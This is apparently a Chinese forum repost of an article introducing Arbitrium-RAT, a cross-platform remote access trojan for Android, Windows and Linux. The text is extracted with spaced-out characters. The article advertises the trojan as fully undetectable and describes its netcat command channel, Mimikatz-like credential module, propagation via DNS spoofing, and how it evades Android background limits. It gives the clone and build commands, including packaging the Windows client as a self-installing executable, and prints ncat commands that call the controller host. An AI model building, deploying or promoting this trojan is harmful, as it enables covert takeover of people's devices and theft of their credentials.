搜索

[16522] 2021-03-07_Arbitrium-RAT向安卓等平台植入远程访问木马实验

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-03-07_Arbitrium-RAT向安卓等平台植入远程访问木马实验 A r b i t r i u m - R A T 向 安 卓 等 平 台 植 入 远 程 访 问 木 马 实 验 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 3 - 0 7 关 于 关 于 A r b i t r i u m A r b i t r i u m 是 一 款 跨 平 台 并 且 完 全 无 法 被 检 测 到 的 远 程 访 问 木 马 ， 可 以 帮 助 广 大 研 究 人 员 控 制 A n d r o i d 、 W i n d o w s 和 L i n u x 操 作 系 统 ， 而 且 完 全 不 需 要 配 置 任 何 额 外 的 防 火 墙 规 则 或 端 口 转 发 规 则 。 该 工 具 可 以 提 供 本 地 网 络 的 访 问 权 ， 我 们 可 以 将 目 标 设 备 当 作 一 个 H T T P 代 理 来 使 用 ， 并 访 问 目 标 网 络 中 的 路 由 器 、 发 现 本 地 I P 或 扫 描 目 标 端 口 等 等 。 A r b i t r i u m 还 自 带 了 类 似 M i m i k a t z 的 模 块 ， 而 且 支 持 广 大 研 究 人 员 添 加 自 定 义 模 块 。 除 此 之 外 ， 如 果 将 A r b i t r i u m 配 合 一 款 D N S 欺 骗 软 件 一 起 使 用 的 话 ， 就 可 以 实 现 在 目 标 网 络 设 备 之 间 实 现 木 马 后 门 的 自 动 传 播 。 A r b i t r i u m 是 一 个 由 多 个 部 分 组 成 的 项 目 ， 并 且 使 用 了 J a v a 、 J S 、 C 、 P y t h o n 、 C o r d o v a 和 V u e J S 等 多 种 编 程 语 言 进 行 开 发 。 功 能 介 绍 功 能 介 绍 完 全 无 法 被 检 测 到 （ 完 全 无 法 被 检 测 到 （ F U D ） ） 客 户 端 使 用 了 简 单 的 工 具 ， 这 将 允 许 A r b i t r i u m 完 全 无 法 被 检 测 到 。 木 马 基 于 n e t c a t 通 信 ， 该 组 件 主 要 负 责 通 过 管 道 处 理 T C P 通 信 数 据 并 运 行 服 务 器 端 发 送 过 来 的 命 令 。 防 火 墙 防 火 墙 A r b i t r i u m 不 需 要 向 防 火 墙 添 加 任 何 的 排 除 规 则 或 端 口 转 发 规 则 ， 服 务 器 端 是 一 个 带 有 A P I 的 终 端 节 点 ， 负 责 针 对 目 标 主 机 和 其 他 设 备 的 任 务 接 收 ， 因 为 木 马 每 隔 一 段 时 间 就 会 定 期 向 服 务 器 请 求 新 的 控 制 指 令 。 这 里 的 控 制 命 令 可 以 是 一 个 J a v a S c r i p t 文 件 （ A n d r o i d 应 用 使 用 的 是 C o r d o v a ） 或 可 以 在 命 令 行 终 端 中 运 行 的 S h e l l 文 件 。 当 服 务 器 端 接 收 到 目 标 设 备 的 任 务 之 后 ， 前 者 将 设 置 一 个 计 划 任 务 ， 然 后 开 启 一 个 子 进 程 监 听 一 个 专 用 的 临 时 端 口 并 等 待 木 马 后 门 的 响 应 。 因 此 ， 我 们 的 木 马 程 序 并 不 需 要 监 听 任 何 的 端 口 。 电 池 优 化 电 池 优 化 / 隐 蔽 模 式 隐 蔽 模 式 跟 普 通 A n d r o i d 操 作 系 统 不 同 的 是 ， 小 米 的 M I U I 、 华 为 的 E M U I 或 三 星 的 A n d r o i d   P i e 等 定 制 产 品 忽 略 了 用 户 对 应 用 程 序 的 权 限 / 例 外 。 因 此 ， 如 果 你 尝 试 在 后 台 运 行 A n d r o i d 端 木 马 后 门 ， 当 应 用 程 序 开 始 运 行 频 繁 或 繁 重 （ 有 时 甚 至 是 轻 量 级 ） 任 务 （ 例 如 ： 定 期 发 送 H T T P 请 求 ） 时 ， 无 论 用 户 授 予 什 么 权 限 ， 它 都 会 被 终 止 运 行 ， 而 且 操 作 系 统 完 全 忽 略 当 前 的 配 置 。 上 面 提 到 的 这 个 问 题 非 常 烦 人 ， 但 经 过 一 段 时 间 的 研 究 后 我 发 现 ， 我 们 可 以 通 过 构 建 一 个 轻 量 级 的 二 进 制 文 件 ， 在 后 台 继 续 运 行 分 配 的 任 务 ， 而 M a i n A c t i v i t y 在 启 动 二 进 制 文 件 之 后 就 不 会 有 什 么 动 静 了 ， 这 样 可 以 帮 助 我 们 绕 过 绝 大 多 数 限 制 ， 而 且 还 可 以 提 高 应 用 程 序 的 性 能 。 M a i n A c t i v i t y 从 服 务 器 接 收 一 个 J S 文 件 ， 并 使 用 T h r e a d P o o l E x e c u t o r 启 动 二 进 制 文 件 ， 而 无 需 挂 起 二 进 制 文 件 以 使 其 退 出 （ 点 击 文 末 “ 阅 读 原 文 ” 获 得 详 细 信 息 ） 。 W e b 接 口 接 口 该 工 具 还 提 供 了 一 个 控 制 面 板 ， 这 个 W e b 接 口 只 是 一 个 可 选 项 ， 并 非 必 须 的 。 这 是 一 个 简 单 的 V u e J S   W e b 应 用 程 序 ， 即 一 个 可 以 帮 助 我 们 控 制 目 标 的 U I 界 面 ， 而 不 用 通 过 给 A P I 发 送 命 令 请 求 来 实 现 控 制 。 【 点 我 】 访 问 A r b i t r i u m   W e b A p p 。
工 具 要 求 工 具 要 求 A n d r o i d 客 户 端 客 户 端 W i n d o w s / L i n u x 客 户 端 客 户 端 项 目 构 建 项 目 构 建 注 意 ： 需 要 使 用 s e t A P I _ F Q D N . s h 设 置 所 有 文 件 中 的 服 务 器 域 名 / I P 地 址 。 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ： A n d r o i d W i n d o w s 组 件 组 件 服 务 器 服 务 器 A P I J a v a   v e r   . . . C o r d o v a A n d r o i d   S D K   &   N D K P y t h o n 3 . 6   （ 或 更 新 版 本 ） P y I n q u i r e r W i n r a r   （ W i n d o w s   o n l y ） g i t   c l o n e   h t t p s : / / g i t h u b . c o m / B e n C h a l i a h / A r b i t r i u m - R A T . g i t   - - r e c u r s i v e $   c d   A r b i t r i u m C l i e n t s / A n d r o i d A p p / C l i e n t A p p / $   c o r d o v a   b u i l d   a n d r o i d $   c d   . . / S t e a l t h M o d e / $   m a k e   c l e a n   & &   m a k e   b u i l d $   c d   A r b i t r i u m C l i e n t s W i n d o w s A p p $   p y i n s t a l l e r   - - o n e f i l e   r u n F r a m e . p y $   c o p y   C l i e n t _ t o o l s t o o l b o x . e x e   d i s t $   c o p y   C l i e n t _ t o o l s S F X A u t o I n s t a l l e r . c o n f   d i s t $   c o p y   C l i e n t _ t o o l s s t a r t _ s c r i p t . v b s   d i s t $   c d   d i s t $   { R a r _ a b s p a t h }   a   - r   - c f g   - s f x   - z " S F X A u t o I n s t a l l e r . c o n f "   S t a n d a l o n e . e x e $   p i p   i n s t a l l   f l a s k   f l a s k _ c o r s   & &   . / r u n s e r v e r . s h   #   P y t h o n 2 . 7 ├ ─ ─   r u n s e r v e r . s h ├ ─ ─   m a i n . p y ├ ─ ─   r e v e r s e _ h t t p . p y
终 端 节 点 终 端 节 点 [ G E T ]   / c h e c k u p d a t e . j s 样 例 ： 假 设 你 想 要 将 目 标 以 H T T P 代 理 来 使 用 ， A P I 会 将 请 求 构 建 为 下 列 命 令 ： 然 后 将 其 存 储 至 a s s e t s / r u n s h _ { u i d _ t a s k } . s h 中 ， / c h e c k u p d a t e . j s 会 让 木 马 下 载 并 执 行 s h e l l 文 件 ： 工 具 运 行 截 图 工 具 运 行 截 图 ├ ─ ─   r e v e r s e _ h t t p . p y ├ ─ ─   i n i t P r o x y . p y │ ├ ─ ─   a s s e t s   ( s r c :   A r b i t r i u m C l i e n t s / A n d r o i d A p p / S t e a l t h M o d e ) │       ├ ─ ─   r u n F r a m e _ a r m 6 4 - v 8 a │       ├ ─ ─   t o o l b o x _ a r m 6 4 - v 8 a │       ├ ─ ─   . . .   ( x 8 6 ,   x 8 6 _ 6 4 ,   a r m e a b i - v 7 a ) │ │ ├ ─ ─   J S _ s c r i p t s │       ├ ─ ─   c h e c k u p d a t e . j s │       ├ ─ ─   i n i t . j s │       ├ ─ ─   r u n s h e l l . j s │       └ ─ ─   S t e a l t h M o d e . j s │ ├ ─ ─   m i s c │ ├ ─ ─   m o d u l e s │       ├ ─ ─   d i s c o v e r . p y │       ├ ─ ─   m i m i k a t z . p y │       ├ ─ ─   p o r t s . p y │       └ ─ ─   r u n C M D . p y │ └ ─ ─   t h r e a d s e c h o   - e   " G E T   /   H T T P / 1 . 1 r n H o s t :   1 9 2 . 1 6 8 . 1 . 1 r n C o n n e c t i o n :   c l o s e r n r n "   |   { a b s p a t h _ t o o l b o x / n c a t }   { A P I _ H O S T _ I P }   { l p o r t }   - w   1 0 ; r n > > >   P o p e n ( " e x e c   $ ( n c   - l   0 . 0 . 0 . 0   - p   { l p o r t }   - d N   >   { t a s k _ f i l e n a m e } ) "   s h e l l = T r u e ,   c l o s e _ f d s = T r u e ,   . . . )
H T T P 代 理 代 理 P o w e r S h e l l 端 口 扫 描 端 口 扫 描
工 具 演 示 视 频 工 具 演 示 视 频 点 击 文 末 “ 阅 读 原 文 ” 获 取 链 接 项 目 地 址 项 目 地 址 点 击 文 末 “ 阅 读 原 文 ” 获 取 链 接 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理